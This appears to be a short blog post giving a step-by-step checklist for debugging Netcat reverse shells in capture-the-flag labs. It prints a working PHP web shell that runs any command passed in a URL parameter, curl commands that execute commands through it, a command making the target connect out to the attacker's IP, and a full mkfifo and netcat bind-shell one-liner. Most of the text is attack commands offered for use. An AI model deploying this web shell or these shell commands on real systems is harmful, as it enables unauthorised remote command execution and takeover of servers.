Maricel C

Reverse Shell Sanity Check (Netcat)

Reverse shells can be annoying to debug as it tends to fail silently. Here is a step-by-step checklist for when your reverse shell payload fires but nothing connects back. This is based on a shell.phtml file on the target’s machine:

<?php
if(isset($_GET['cmd'])) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

1. Confirm Code Execution Works

Before blaming the network, make sure the shell/webshell is actually executing commands.

curl "http://<target>/shell.phtml?cmd=id"
curl "http://<target>/shell.phtml?cmd=whoami"

2. Get the Correct IP to Listen On

If you’re on a VPN (THM/HTB/etc.), use the tunnel interface IP, not your LAN or public IP.

ip a show tun0

3. Check If Your Port Is Available

Make sure nothing else is already bound to the port you want to use.

ss -tulnp | grep <port>
# or
sudo lsof -i :<port>

4. Start the Listener

nc -lvnp <port>

5. Test Network Reachability (Target → You)

Before troubleshooting the reverse shell payload itself, confirm the target can even reach you at all.

ICMP test (routing check):

curl "http://<target>/shell.phtml?cmd=ping+-c+2+<your_ip>"

TCP test (with tcpdump watching):

sudo tcpdump -ni tun0 host <target_ip>

Then trigger a simple outbound connection from target:

curl "http://<target>/shell.phtml?cmd=curl+-v+--max-time+5+<your_ip>:<port>"

6. Check THE Firewall

The target side can be totally fine while your own machine silently drops the inbound connection.

sudo ufw status
sudo ufw allow <port>/tcp
sudo iptables -L -n | grep <port>

7. Still Nothing? Try a Bind Shell Instead

If outbound TCP is fully blocked on the target regardless of port, flip the direction the\en have the target listen, and connect to it instead (since inbound HTTP clearly already works).

curl "http://<target>/shell.phtml?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+-lvnp+<port>+>/tmp/f"

Then from your machine:

nc <target_ip> <port>

TL;DR Order of Operations

  1. Confirm command execution works
  2. Get the right IP (tun0, not LAN/public)
  3. Check port availability locally
  4. Start listener
  5. Test reachability (ICMP → TCP with tcpdump)
  6. Check your own firewall ← the one everyone forgets
  7. Fall back to bind shell if outbound is fully blocked